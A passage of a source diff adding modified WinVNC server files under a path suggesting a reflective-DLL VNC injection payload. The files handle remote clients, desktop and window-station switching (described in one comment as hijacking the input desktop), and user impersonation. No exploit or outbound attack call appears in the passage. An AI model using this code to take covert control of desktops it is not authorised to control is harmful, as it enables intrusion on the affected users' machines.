330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncServer.h + +// vncServer class handles the following functions: +// - Allowing clients to be dynamically added and removed +// - Propagating updates from the local vncDesktop object +// to all the connected clients +// - Propagating mouse movements and keyboard events from +// clients to the local vncDesktop +// It also creates the vncSockConnect and vncCORBAConnect +// servers, which respectively allow connections via sockets +// and via the ORB interface + +class vncServer; + +#if (!defined(_WINVNC_VNCSERVER)) +#define _WINVNC_VNCSERVER + +// Custom +#include "vncCORBAConnect.h" +#include "vncSockConnect.h" +#include "vncHTTPConnect.h" +#include "vncClient.h" +#include "rfbRegion.h" +#include "vncPasswd.h" + +// Includes +#include "stdhdrs.h" +#include +#include + +// Define a datatype to handle lists of windows we wish to notify +typedef std::list vncNotifyList; + +// Some important constants; +const int MAX_CLIENTS = 128; + +// The vncServer class itself + +class vncServer +{ +public: + // Constructor/destructor + vncServer(); + ~vncServer(); + + // Client handling functions + virtual vncClientId AddClient(VSocket *socket, BOOL auth, BOOL shared); + virtual vncClientId AddClient(VSocket *socket, + BOOL auth, BOOL shared, BOOL teleport, int capability, + BOOL keysenabled, BOOL ptrenabled); + virtual BOOL Authenticated(vncClientId client); + virtual void KillClient(vncClientId client); + + virtual UINT AuthClientCount(); + virtual UINT UnauthClientCount(); + + virtual void KillAuthClients(); + virtual void WaitUntilAuthEmpty(); + + virtual void KillUnauthClients(); + virtual void WaitUntilUnauthEmpty(); + + // Are any clients ready to send updates? + virtual BOOL UpdateWanted(); + + // Has at least one client had a remote event? + virtual BOOL RemoteEventReceived(); + + // Client info retrieval/setup + virtual vncClient* GetClient(vncClientId clientid); + virtual vncClientList ClientList(); + + virtual void SetTeleport(vncClientId client, BOOL teleport); + virtual void SetCapability(vncClientId client, int capability); + virtual void SetKeyboardEnabled(vncClientId client, BOOL enabled); + virtual void SetPointerEnabled(vncClientId client, BOOL enabled); + + virtual BOOL IsTeleport(vncClientId client); + virtual int GetCapability(vncClientId client); + virtual BOOL GetKeyboardEnabled(vncClientId client); + virtual BOOL GetPointerEnabled(vncClientId client); + virtual const char* GetClientName(vncClientId client); + + // Let a client remove itself + virtual void RemoveClient(vncClientId client); + + // Connect/disconnect notification + virtual BOOL AddNotify(HWND hwnd); + virtual BOOL RemNotify(HWND hwnd); + +protected: + // Send a notification message + virtual void DoNotify(UINT message, WPARAM wparam, LPARAM lparam); + +public: + // Update handling, used by the screen server + virtual rfb::UpdateTracker &GetUpdateTracker() {return m_update_tracker;}; + virtual void UpdateMouse(); + virtual void UpdateClipText(const char* text); + virtual void UpdatePalette(); + virtual void UpdateLocalFormat(); + + // Polling mode handling + virtual void PollUnderCursor(BOOL enable) {m_poll_undercursor = enable;}; + virtual BOOL PollUnderCursor() {return m_poll_undercursor;}; + virtual void PollForeground(BOOL enable) {m_poll_foreground = enable;}; + virtual BOOL PollForeground() {return m_poll_foreground;}; + virtual void PollFullScreen(BOOL enable) {m_poll_fullscreen = enable;}; + virtual BOOL PollFullScreen() {return m_poll_fullscreen;}; + + virtual void PollConsoleOnly(BOOL enable) {m_poll_consoleonly = enable;}; + virtual BOOL PollConsoleOnly() {return m_poll_consoleonly;}; + virtual void PollOnEventOnly(BOOL enable) {m_poll_oneventonly = enable;}; + virtual BOOL PollOnEventOnly() {return m_poll_oneventonly;}; + + // Client manipulation of the clipboard + virtual void UpdateLocalClipText(LPSTR text); + + // Name and port number handling + virtual void SetName(const char * name); + virtual void SetPort(const UINT port); + virtual UINT GetPort(); + virtual void SetAutoPortSelect(const BOOL autoport) { + if (autoport && !m_autoportselect) + { + BOOL sockconnect = SockConnected(); + SockConnect(FALSE); + m_autoportselect = autoport; + SockConnect(sockconnect); + } + else + { + m_autoportselect = autoport; + } + }; + virtual BOOL AutoPortSelect() {return m_autoportselect;}; + + // Password set/retrieve. Note that these functions now handle the encrypted + // form, not the plaintext form. The buffer passwed MUST be MAXPWLEN in size. + virtual void SetPassword(const char *passwd); + virtual void GetPassword(char *passwd); + + // Remote input handling + virtual void EnableRemoteInputs(BOOL enable); + virtual BOOL RemoteInputsEnabled(); + + // Local input handling + virtual void DisableLocalInputs(BOOL disable); + virtual BOOL LocalInputsDisabled(); + + // General connection handling + virtual void SetConnectPriority(UINT priority) {m_connect_pri = priority;}; + virtual UINT ConnectPriority() {return m_connect_pri;}; + + // Socket connection handling + virtual BOOL SockConnect(BOOL on); + virtual BOOL SockConnected(); + virtual BOOL SetLoopbackOnly(BOOL loopbackOnly); + virtual BOOL LoopbackOnly(); + + // HTTP daemon handling + virtual BOOL EnableHTTPConnect(BOOL enable); + virtual BOOL HTTPConnectEnabled() {return m_enableHttpConn;}; + + // CORBA connection handling + virtual BOOL CORBAConnect(BOOL on); + virtual BOOL CORBAConnected(); + virtual void GetScreenInfo(int &width, int &height, int &depth); + + // Allow connections if no password is set? + virtual void SetAuthRequired(BOOL reqd) {m_passwd_required = reqd;}; + virtual BOOL AuthRequired() {return m_passwd_required;}; + + // Handling of per-client connection authorisation + virtual void SetAuthHosts(const char *hostlist); + virtual char *AuthHosts(); + enum AcceptQueryReject {aqrAccept, aqrQuery, aqrReject}; + virtual AcceptQueryReject VerifyHost(const char *hostname); + + // Blacklisting of machines which fail connection attempts too often + // Such machines will fail VerifyHost for a short period + virtual void AddAuthHostsBlacklist(const char *machine); + virtual void RemAuthHostsBlacklist(const char *machine); + + // Connection querying settings + virtual void SetQuerySetting(const UINT setting) {m_querysetting = setting;}; + virtual UINT QuerySetting() {return m_querysetting;}; + virtual void SetQueryTimeout(const UINT setting) {m_querytimeout = setting;}; + virtual UINT QueryTimeout() {return m_querytimeout;}; + + // Whether or not to allow connections from the local machine + virtual void SetLoopbackOk(BOOL ok) {m_loopback_allowed = ok;}; + virtual BOOL LoopbackOk() {return m_loopback_allowed;}; + + // Whether or not to shutdown or logoff when the last client leaves + virtual void SetLockSettings(int ok) {m_lock_on_exit = ok;}; + virtual int LockSettings() {return m_lock_on_exit;}; + + // Timeout for automatic disconnection of idle connections + virtual void SetAutoIdleDisconnectTimeout(const UINT timeout) {m_idle_timeout = timeout;}; + virtual UINT AutoIdleDisconnectTimeout() {return m_idle_timeout;}; + + // Removal of desktop wallpaper, etc + virtual void EnableRemoveWallpaper(const BOOL enable) {m_remove_wallpaper = enable;}; + virtual BOOL RemoveWallpaperEnabled() {return m_remove_wallpaper;}; + +protected: + // The vncServer UpdateTracker class + // Behaves like a standard UpdateTracker, but propagates update + // information to active clients' trackers + + class ServerUpdateTracker : public rfb::UpdateTracker { + public: + ServerUpdateTracker() : m_server(0) {}; + + virtual void init(vncServer *server) {m_server=server;}; + + virtual void add_changed(const rfb::Region2D ®ion); + virtual void add_copied(const rfb::Region2D &dest, const rfb::Point &delta); + protected: + vncServer *m_server; + }; + + friend class ServerUpdateTracker; + + ServerUpdateTracker m_update_tracker; + + // Internal stuffs +protected: + // Connection servers + vncSockConnect *m_socketConn; + vncCorbaConnect *m_corbaConn; + vncHTTPConnect *m_httpConn; + BOOL m_enableHttpConn; + + // The desktop handler + vncDesktop *m_desktop; + + // General preferences + UINT m_port; + BOOL m_autoportselect; + char m_password[MAXPWLEN]; + BOOL m_passwd_required; + BOOL m_loopback_allowed; + BOOL m_loopbackOnly; + char *m_auth_hosts; + BOOL m_enable_remote_inputs; + BOOL m_disable_local_inputs; + int m_lock_on_exit; + int m_connect_pri; + UINT m_querysetting; + UINT m_querytimeout; + UINT m_idle_timeout; + + BOOL m_remove_wallpaper; + + // Polling preferences + BOOL m_poll_fullscreen; + BOOL m_poll_foreground; + BOOL m_poll_undercursor; + + BOOL m_poll_oneventonly; + BOOL m_poll_consoleonly; + + // Name of this desktop + char *m_name; + + // Blacklist structures + struct BlacklistEntry { + BlacklistEntry *_next; + char *_machineName; + LARGE_INTEGER _lastRefTime; + UINT _failureCount; + BOOL _blocked; + }; + BlacklistEntry *m_blacklist; + + // The client lists - list of clients being authorised and ones + // already authorised + vncClientList m_unauthClients; + vncClientList m_authClients; + vncClient *m_clientmap[MAX_CLIENTS]; + vncClientId m_nextid; + + // Lock to protect the client list from concurrency - lock when reading/updating client list + omni_mutex m_clientsLock; + // Lock to protect the desktop object from concurrency - lock when updating client list + omni_mutex m_desktopLock; + + // Signal set when a client removes itself + omni_condition *m_clientquitsig; + + // Set of windows to send notifications to + vncNotifyList m_notifyList; +}; + +#endif diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncservice.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vncservice.cpp new file mode 100644 index 0000000000..f7e3e857fb --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncservice.cpp @@ -0,0 +1,1313 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncService + +// Implementation of service-oriented functionality of WinVNC + +#include "stdhdrs.h" + +// Header + +#include "vncService.h" + +#include +#include "omnithread.h" +#include "WinVNC.h" +#include "vncMenu.h" +#include "vncTimedMsgBox.h" + +// Error message logging +void LogErrorMsg(char *message); + +// OS-SPECIFIC ROUTINES + +// Create an instance of the vncService class to cause the static fields to be +// initialised properly + +vncService init; + +DWORD g_platform_id; +BOOL g_impersonating_user = 0; +DWORD g_version_major; +DWORD g_version_minor; + +vncService::vncService() +{ + OSVERSIONINFO osversioninfo; + osversioninfo.dwOSVersionInfoSize = sizeof(osversioninfo); + + // Get the current OS version + if (!GetVersionEx(&osversioninfo)) + g_platform_id = 0; + g_platform_id = osversioninfo.dwPlatformId; + g_version_major = osversioninfo.dwMajorVersion; + g_version_minor = osversioninfo.dwMinorVersion; +} + +// CurrentUser - fills a buffer with the name of the current user! +BOOL +GetCurrentUser(char *buffer, UINT size) +{ + // How to obtain the name of the current user depends upon the OS being used + if ((g_platform_id == VER_PLATFORM_WIN32_NT) && vncService::RunningAsService()) + { + // Windows NT, service-mode + + // -=- FIRSTLY - verify that a user is logged on + + // Get the current Window station + HWINSTA station = GetProcessWindowStation(); + if (station == NULL) + return FALSE; + + // Get the current user SID size + DWORD usersize; + GetUserObjectInformation(station, + UOI_USER_SID, NULL, 0, &usersize); + + // Check the required buffer size isn't zero + if (usersize == 0) + { + // No user is logged in - ensure we're not impersonating anyone + RevertToSelf(); + g_impersonating_user = FALSE; + + // Return "" as the name... + if (strlen("") >= size) + return FALSE; + strcpy(buffer, ""); + + return TRUE; + } + + // -=- SECONDLY - a user is logged on but if we're not impersonating + // them then we can't continue! + if (!g_impersonating_user) { + // Return "" as the name... + if (strlen("") >= size) + return FALSE; + strcpy(buffer, ""); + return TRUE; + } + } + + // -=- When we reach here, we're either running under Win9x, or we're running + // under NT as an application or as a service impersonating a user + // Either way, we should find a suitable user name. + + switch (g_platform_id) + { + + case VER_PLATFORM_WIN32_WINDOWS: + case VER_PLATFORM_WIN32_NT: + { + // Just call GetCurrentUser + DWORD length = size; + + if (GetUserName(buffer, &length) == 0) + { + UINT error = GetLastError(); + + if (error == ERROR_NOT_LOGGED_ON) + { + // No user logged on + if (strlen("") >= size) + return FALSE; + strcpy(buffer, ""); + return TRUE; + } + else + { + // Genuine error... + //vnclog.Print(LL_INTERR, VNCLOG("getusername error %d\n"), GetLastError()); + return FALSE; + } + } + } + return TRUE; + }; + + // OS was not recognised! + return FALSE; +} + +BOOL +vncService::CurrentUser(char *buffer, UINT size) +{ + BOOL result = GetCurrentUser(buffer, size); + if (result && (strcmp(buffer, "") == 0) && !vncService::RunningAsService()) { + strncpy(buffer, "Default", size); + } + return result; +} + +// IsWin95 - returns a BOOL indicating whether the current OS is Win95 +BOOL +vncService::IsWin95() +{ + return (g_platform_id == VER_PLATFORM_WIN32_WINDOWS); +} + +// IsWinNT - returns a bool indicating whether the current OS is WinNT +BOOL +vncService::IsWinNT() +{ + return (g_platform_id == VER_PLATFORM_WIN32_NT); +} + +// Version info +DWORD +vncService::VersionMajor() +{ + return g_version_major; +} + +DWORD +vncService::VersionMinor() +{ + return g_version_minor; +} + +// Internal routine to find the WinVNC menu class window and +// post a message to it! + +BOOL +PostToWinVNC(UINT message, WPARAM wParam, LPARAM lParam) +{ + // Locate the hidden WinVNC menu window + HWND hservwnd = FindWindow(MENU_CLASS_NAME, NULL); + if (hservwnd == NULL) + return FALSE; + + // Post the message to WinVNC + PostMessage(hservwnd, message, wParam, lParam); + return TRUE; +} + +// Static routines only used on Windows NT to ensure we're in the right desktop +// These routines are generally available to any thread at any time. + +// - SelectDesktop(HDESK) +// Switches the current thread into a different desktop by deskto handle +// This call takes care of all the evil memory management involved + +BOOL +vncService::SelectHDESK(HDESK new_desktop) +{ + return TRUE; + + // Are we running on NT? + if (IsWinNT()) + { + HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId()); + + DWORD dummy; + char new_name[256]; + + if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) { + return FALSE; + } + + //vnclog.Print(LL_INTERR, VNCLOG("SelectHDESK to %s (%x) from %x\n"), new_name, new_desktop, old_desktop); + + // Switch the desktop + if(!SetThreadDesktop(new_desktop)) { + //vnclog.Print(LL_INTERR, VNCLOG("unable to SetThreadDesktop\n"), GetLastError()); + return FALSE; + } + + // Switched successfully - destroy the old desktop + CloseDesktop(old_desktop); + //if (!CloseDesktop(old_desktop)) + //vnclog.Print(LL_INTERR, VNCLOG("SelectHDESK failed to close old desktop %x (Err=%d)\n"), old_desktop, GetLastError()); + + return TRUE; + } + + return TRUE; +} + +// - SelectDesktop(char *) +// Switches the current thread into a different desktop, by name +// Calling with a valid desktop name will place the thread in that desktop. +// Calling with a NULL name will place the thread in the current input desktop. + +BOOL +vncService::SelectDesktop(char *name) +{ + char *error = ""; + HDESK desk = OpenInputDesktop(NULL, TRUE, MAXIMUM_ALLOWED); + if (desk == NULL) { + error = "ERROR: Could not open the input desktop\n"; + } + + if (desk && ! SwitchDesktop(desk)) { + CloseHandle(desk); + error = "ERROR: Could not switch to the input desktop\n"; + } + + SetThreadDesktop(desk); + + //if (strlen(error)) + //vnclog.Print(LL_INTWARN, VNCLOG("SelectDesktop: %s [%d]\n"), error, GetLastError()); + + return TRUE; + + // Are we running on NT? + if (IsWinNT()) + { + HDESK desktop; + + if (name != NULL) + { + // Attempt to open the named desktop + desktop = OpenDesktop(name, 0, FALSE, + DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | + DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | + DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | + DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); + } + else + { + // No, so open the input desktop + desktop = OpenInputDesktop(0, FALSE, + DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | + DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | + DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | + DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); + } + + // Did we succeed? + if (desktop == NULL) { + //vnclog.Print(LL_INTERR, VNCLOG("unable to open desktop:%d\n"), GetLastError()); + return FALSE; + } + + // Switch to the new desktop + if (!SelectHDESK(desktop)) { + // Failed to enter the new desktop, so free it! + CloseDesktop(desktop); + //if (!CloseDesktop(desktop)) + //vnclog.Print(LL_INTERR, VNCLOG("SelectDesktop failed to close desktop:%d\n"), GetLastError()); + return FALSE; + } + + // We successfully switched desktops! + return TRUE; + } + + return (name == NULL); +} + +// Find the visible window station and switch to it +// This would allow the service to be started non-interactive +// Needs more supporting code & a redesign of the server core to +// work, with better partitioning between server & UI components. + +static HWINSTA home_window_station = GetProcessWindowStation(); + +BOOL CALLBACK WinStationEnumProc(LPTSTR name, LPARAM param) { + HWINSTA station = OpenWindowStation(name, FALSE, GENERIC_ALL); + HWINSTA oldstation = GetProcessWindowStation(); + USEROBJECTFLAGS flags; + if (!GetUserObjectInformation(station, UOI_FLAGS, &flags, sizeof(flags), NULL)) { + return TRUE; + } + BOOL visible = flags.dwFlags & WSF_VISIBLE; + if (visible) { + if (SetProcessWindowStation(station)) { + if (oldstation != home_window_station) { + CloseWindowStation(oldstation); + } + } else { + CloseWindowStation(station); + } + return FALSE; + } + return TRUE; +} + +BOOL +vncService::SelectInputWinStation() +{ + char *error = ""; + // This is hardcoded to use winsta0 + HWINSTA os = GetProcessWindowStation(); + + // Get our bearings, hijack the input desktop + HWINSTA ws = OpenWindowStation("winsta0", TRUE, MAXIMUM_ALLOWED); + if (ws == NULL) { + error = "ERROR: Could not open the default window station\n"; + } else { + if (! SetProcessWindowStation(ws)) { + ws = NULL; + error = "ERROR: Could not set the process window station\n"; + } else { + // Close this to prevent the old handle from being used instead + CloseWindowStation(os); + } + } + //if (strlen(error)) + //vnclog.Print(LL_INTWARN, VNCLOG("SelectInputWinStation: %s\n"), error); + + return TRUE; + + // Disabled + home_window_station = GetProcessWindowStation(); + return EnumWindowStations(&WinStationEnumProc, NULL); +} + +void +vncService::SelectHomeWinStation() +{ + vncService::SelectInputWinStation(); + return; + + // Disabled + HWINSTA station=GetProcessWindowStation(); + SetProcessWindowStation(home_window_station); + CloseWindowStation(station); +} + +// NT only function to establish whether we're on the current input desktop + +BOOL +vncService::InputDesktopSelected() +{ + vncService::SelectDesktop(NULL); + return TRUE; + + // Are we running on NT? + if (IsWinNT()) + { + // Get the input and thread desktops + HDESK threaddesktop = GetThreadDesktop(GetCurrentThreadId()); + HDESK inputdesktop = OpenInputDesktop(0, FALSE, + DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | + DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | + DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | + DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); + + // Get the desktop names: + // *** I think this is horribly inefficient but I'm not sure. + if (inputdesktop == NULL) + return FALSE; + + DWORD dummy; + char threadname[256]; + char inputname[256]; + + if (!GetUserObjectInformation(threaddesktop, UOI_NAME, &threadname, 256, &dummy)) { + CloseDesktop(inputdesktop); + //if (!CloseDesktop(inputdesktop)) + //vnclog.Print(LL_INTWARN, VNCLOG("failed to close input desktop\n")); + return FALSE; + } + _ASSERT(dummy <= 256); + if (!GetUserObjectInformation(inputdesktop, UOI_NAME, &inputname, 256, &dummy)) { + CloseDesktop(inputdesktop); + //if (!CloseDesktop(inputdesktop)) + //vnclog.Print(LL_INTWARN, VNCLOG("failed to close input desktop\n")); + return FALSE; + } + _ASSERT(dummy <= 256); + + CloseDesktop(inputdesktop); + //if (!CloseDesktop(inputdesktop)) + //vnclog.Print(LL_INTWARN, VNCLOG("failed to close input desktop\n")); + + if (strcmp(threadname, inputname) != 0) + return FALSE; + } + + return TRUE; +} + +// Static routine used to fool Winlogon into thinking CtrlAltDel was pressed + +void * +SimulateCtrlAltDelThreadFn(void *context) +{ + HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId()); + + // Switch into the Winlogon desktop + if (!vncService::SelectDesktop("Winlogon")) + { + //vnclog.Print(LL_INTERR, VNCLOG("failed to select logon desktop\n")); + return FALSE; + } + + //vnclog.Print(LL_ALL, VNCLOG("generating ctrl-alt-del\n")); + + // Fake a hotkey event to any windows we find there.... :( + // Winlogon uses hotkeys to trap Ctrl-Alt-Del... + PostMessage(HWND_BROADCAST, WM_HOTKEY, 0, MAKELONG(MOD_ALT | MOD_CONTROL, VK_DELETE)); + + // Switch back to our original desktop + if (old_desktop != NULL) + vncService::SelectHDESK(old_desktop); + + return NULL; +} + +// Static routine to simulate Ctrl-Alt-Del locally + +BOOL +vncService::SimulateCtrlAltDel() +{ + //vnclog.Print(LL_ALL, VNCLOG("preparing to generate ctrl-alt-del\n")); + + // Are we running on NT? + if (IsWinNT()) + { + //vnclog.Print(LL_ALL, VNCLOG("spawn ctrl-alt-del thread...\n")); + + // *** This is an unpleasant hack. Oh dear. + + // I simulate CtrAltDel by posting a WM_HOTKEY message to all + // the windows on the Winlogon desktop. + // This requires that the current thread is part of the Winlogon desktop. + // But the current thread has hooks set & a window open, so it can't + // switch desktops, so I instead spawn a new thread & let that do the work... + + omni_thread *thread = omni_thread::create(SimulateCtrlAltDelThreadFn); + if (thread == NULL) + return FALSE; + thread->join(NULL); + + return TRUE; + } + + return TRUE; +} + +// Static routine to lock a 2K or above workstation + +BOOL +vncService::LockWorkstation() +{ + if (!IsWinNT()) { + //vnclog.Print(LL_INTERR, VNCLOG("unable to lock workstation - not NT\n")); + return FALSE; + } + + //vnclog.Print(LL_ALL, VNCLOG("locking workstation\n")); + + // Load the user32 library + HMODULE user32 = LoadLibrary("user32.dll"); + if (!user32) { + //vnclog.Print(LL_INTERR, VNCLOG("unable to load User32 DLL (%u)\n"), GetLastError()); + return FALSE; + } + + // Get the LockWorkstation function + typedef BOOL (*LWProc) (); + LWProc lockworkstation = (LWProc)GetProcAddress(user32, "LockWorkStation"); + if (!lockworkstation) { + //vnclog.Print(LL_INTERR, VNCLOG("unable to locate LockWorkStation - requires Windows 2000 or above (%u)\n"), GetLastError()); + FreeLibrary(user32); + return FALSE; + } + + // Attempt to lock the workstation + BOOL result = (lockworkstation)(); + + if (!result) { + //vnclog.Print(LL_INTERR, VNCLOG("call to LockWorkstation failed\n")); + FreeLibrary(user32); + return FALSE; + } + + FreeLibrary(user32); + return result; +} + +// Static routine to show the Properties dialog for a currently-running +// copy of WinVNC, (usually a servicified version.) + +BOOL +vncService::ShowProperties() +{ + // Post to the WinVNC menu window + if (!PostToWinVNC(MENU_PROPERTIES_SHOW, 0, 0)) + { + MessageBox(NULL, "No existing instance of WinVNC could be contacted", szAppName, MB_ICONEXCLAMATION | MB_OK); + return FALSE; + } + + return TRUE; +} + +// Static routine to show the Default Properties dialog for a currently-running +// copy of WinVNC, (usually a servicified version.) + +BOOL +vncService::ShowDefaultProperties() +{ + // Post to the WinVNC menu window + if (!PostToWinVNC(MENU_DEFAULT_PROPERTIES_SHOW, 0, 0)) + { + MessageBox(NULL, "No existing instance of WinVNC could be contacted", szAppName, MB_ICONEXCLAMATION | MB_OK); + return FALSE; + } + + return TRUE; +} + +// Static routine to show the About dialog for a currently-running +// copy of WinVNC, (usually a servicified version.) + +BOOL +vncService::ShowAboutBox() +{ + // Post to the WinVNC menu window + if (!PostToWinVNC(MENU_ABOUTBOX_SHOW, 0, 0)) + { + MessageBox(NULL, "No existing instance of WinVNC could be contacted", szAppName, MB_ICONEXCLAMATION | MB_OK); + return FALSE; + } + + return TRUE; +} + +// Static routine to tell a locally-running instance of the server +// to connect out to a new client + +BOOL +vncService::PostAddNewClient(unsigned long ipaddress) +{ + // Post to the WinVNC menu window + if (!PostToWinVNC(MENU_ADD_CLIENT_MSG, 0, ipaddress)) + { + MessageBox(NULL, "No existing instance of WinVNC could be contacted", szAppName, MB_ICONEXCLAMATION | MB_OK); + return FALSE; + } + + return TRUE; +} + +// SERVICE-MODE ROUTINES + +// Service-mode defines: + +// Executable name +#define VNCAPPNAME "winvnc" + +// Internal service name +#define VNCSERVICENAME "winvnc" + +// Displayed service name +#define VNCSERVICEDISPLAYNAME "VNC Server" + +// List of other required services ("dependency 1\0dependency 2\0\0") +// *** These need filling in properly +#define VNCDEPENDENCIES "" + +// Internal service state +SERVICE_STATUS g_srvstatus; // current status of the service +SERVICE_STATUS_HANDLE g_hstatus; +DWORD g_error = 0; +DWORD g_servicethread = NULL; +char* g_errortext[256]; + +// Forward defines of internal service functions +void WINAPI ServiceMain(DWORD argc, char **argv); + +void ServiceWorkThread(void *arg); +void ServiceStop(); +void WINAPI ServiceCtrl(DWORD ctrlcode); + +bool WINAPI CtrlHandler (DWORD ctrltype); + +BOOL ReportStatus(DWORD state, DWORD exitcode, DWORD waithint); + +// ROUTINE TO QUERY WHETHER THIS PROCESS IS RUNNING AS A SERVICE OR NOT + +BOOL g_servicemode = FALSE; + +BOOL +vncService::RunningAsService() +{ + return g_servicemode; +} + +BOOL +vncService::KillRunningCopy() +{ + // Locate the hidden WinVNC menu window + HWND hservwnd; + + while ((hservwnd = FindWindow(MENU_CLASS_NAME, NULL)) != NULL) + { + // Post the message to WinVNC + PostMessage(hservwnd, WM_CLOSE, 0, 0); + + omni_thread::sleep(1); + } + + return TRUE; +} + + +// ROUTINE TO POST THE HANDLE OF THE CURRENT USER TO THE RUNNING WINVNC, IN ORDER +// THAT IT CAN LOAD THE APPROPRIATE SETTINGS. THIS IS USED ONLY BY THE SVCHELPER +// OPTION, WHEN RUNNING UNDER NT +BOOL +vncService::PostUserHelperMessage() +{ + // - Check the platform type + if (!IsWinNT()) + return TRUE; + + // - Get the current process ID + DWORD processId = GetCurrentProcessId(); + + // - Post it to the existing WinVNC + int retries = 6; + while (!PostToWinVNC(MENU_SERVICEHELPER_MSG, 0, (LPARAM)processId) && retries--) + omni_thread::sleep(10); + + // - Wait until it's been used + omni_thread::sleep(5); + + return retries; +} + +// ROUTINE TO PROCESS AN INCOMING INSTANCE OF THE ABOVE MESSAGE +BOOL +vncService::ProcessUserHelperMessage(WPARAM wParam, LPARAM lParam) { + // - Check the platform type + if (!IsWinNT() || !vncService::RunningAsService()) + return TRUE; + + // - Close the HKEY_CURRENT_USER key, to force NT to reload it for the new user + // NB: Note that this is _really_ dodgy if ANY other thread is accessing the key! + if (RegCloseKey(HKEY_CURRENT_USER) != ERROR_SUCCESS) { + //vnclog.Print(LL_INTERR, VNCLOG("failed to close current registry hive\n")); + return FALSE; + } + + // - Revert to our own identity + RevertToSelf(); + g_impersonating_user = FALSE; + + // - Open the specified process + HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, (DWORD)lParam); + if (processHandle == NULL) { + //vnclog.Print(LL_INTERR, VNCLOG("failed to open specified process(%d)\n"), GetLastError()); + return FALSE; + } + + // - Get the token for the given process + HANDLE userToken = NULL; + if (!OpenProcessToken(processHandle, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE, &userToken)) { + //vnclog.Print(LL_INTERR, VNCLOG("failed to get user token(%d)\n"), GetLastError()); + CloseHandle(processHandle); + return FALSE; + } + CloseHandle(processHandle); + + // - Set this thread to impersonate them + if (!ImpersonateLoggedOnUser(userToken)) { + //vnclog.Print(LL_INTERR, VNCLOG("failed to impersonate user(%d)\n"), GetLastError()); + CloseHandle(userToken); + return FALSE; + } + CloseHandle(userToken); + + g_impersonating_user = TRUE; + //vnclog.Print(LL_INTINFO, VNCLOG("impersonating logged on user\n")); + return TRUE; +} + +// SERVICE MAIN ROUTINE +int +vncService::WinVNCServiceMain() +{ + typedef DWORD (WINAPI * RegisterServiceProc)(DWORD, DWORD); + const ULONG RSP_SIMPLE_SERVICE = 0x00000001; + const ULONG RSP_UNREGISTER_SERVICE = 0x00000000; + + g_servicemode = TRUE; + + // How to run as a service depends upon the OS being used + switch (g_platform_id) + { + + // Windows 95/98 + case VER_PLATFORM_WIN32_WINDOWS: + { + // Obtain a handle to the kernel library + HINSTANCE kerneldll = LoadLibrary("KERNEL32.DLL"); + if (kerneldll == NULL) + break; + + // And find the RegisterServiceProcess function + RegisterServiceProc RegisterService; + RegisterService = (RegisterServiceProc) GetProcAddress(kerneldll, "RegisterServiceProcess"); + if (RegisterService == NULL) + break; + + // Register this process with the OS as a service! + RegisterService(NULL, RSP_SIMPLE_SERVICE); + + // Run the service itself XXX + //WinVNCAppMain(); + + // Then remove the service from the system service table + RegisterService(NULL, RSP_UNREGISTER_SERVICE); + + // Free the kernel library + FreeLibrary(kerneldll); + + // *** If we don't kill the process directly here, then + // for some reason, WinVNC crashes... + // *** Is this now fixed (with the stdcall patch above)? + //ExitProcess(0); + } + break; + + // Windows NT + case VER_PLATFORM_WIN32_NT: + { + // Create a service entry table + SERVICE_TABLE_ENTRY dispatchTable[] = + { + {VNCSERVICENAME, (LPSERVICE_MAIN_FUNCTION)ServiceMain}, + {NULL, NULL} + }; + + // Call the service control dispatcher with our entry table + if (!StartServiceCtrlDispatcher(dispatchTable)) + LogErrorMsg("StartServiceCtrlDispatcher failed."); + } + break; + + }; + + return 0; +} + +// SERVICE MAIN ROUTINE +void WINAPI ServiceMain(DWORD argc, char**argv) +{ + // Register the service control handler + g_hstatus = RegisterServiceCtrlHandler(VNCSERVICENAME, ServiceCtrl); + + if (g_hstatus == 0) + return; + + // Set up some standard service state values + g_srvstatus.dwServiceType = SERVICE_WIN32 | SERVICE_INTERACTIVE_PROCESS; + g_srvstatus.dwServiceSpecificExitCode = 0; + + // Give this status to the SCM + if (!ReportStatus( + SERVICE_START_PENDING, // Service state + NO_ERROR, // Exit code type + 15000)) // Hint as to how long WinVNC should have hung before you assume error + { + ReportStatus( + SERVICE_STOPPED, + g_error, + 0); + return; + } + + // Now start the service for real + omni_thread *workthread = omni_thread::create(ServiceWorkThread); + return; +} + +// SERVICE START ROUTINE - thread that calls WinVNCAppMain +void ServiceWorkThread(void *arg) +{ + // Save the current thread identifier + g_servicethread = GetCurrentThreadId(); + + // report the status to the service control manager. + // + if 